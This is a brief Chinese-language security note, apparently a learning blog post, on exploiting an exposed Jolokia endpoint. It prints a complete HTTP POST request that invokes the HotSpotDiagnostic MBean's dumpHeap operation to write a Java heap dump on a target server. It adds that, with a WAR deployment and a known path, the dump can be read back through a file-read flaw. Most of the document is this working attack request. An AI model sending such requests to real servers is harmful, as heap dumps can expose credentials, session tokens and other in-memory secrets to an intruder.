Jolokia HotSpotDiagnostic Mbean

前言：学习Jolokia 拓展知识

By Using the com.sun.management:type=HotSpotDiagnostic Mbean, it is possible to create a Heapdump of the current Java processes

如果容器存在HotSpotDiagnostic Bean的话，并且还存在Jolokia依赖，那么这里还可以通过Jolokia来调用HotSpotDiagnostic其中的dumpHeap方法来导出堆存储文件。

POST /jolokia/ HTTP/1.1
Host: 192.168.1.188:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 156
 
{
"type":"EXEC",
"mbean":"com.sun.management:type=HotSpotDiagnostic",
"operation":"dumpHeap",
"arguments":["d:/test1.hprof",0]
}

其实还是挺鸡肋，不过还是可以看看运气，基于war打包的话并且知道路径，配合文件读取还是可以进行利用的！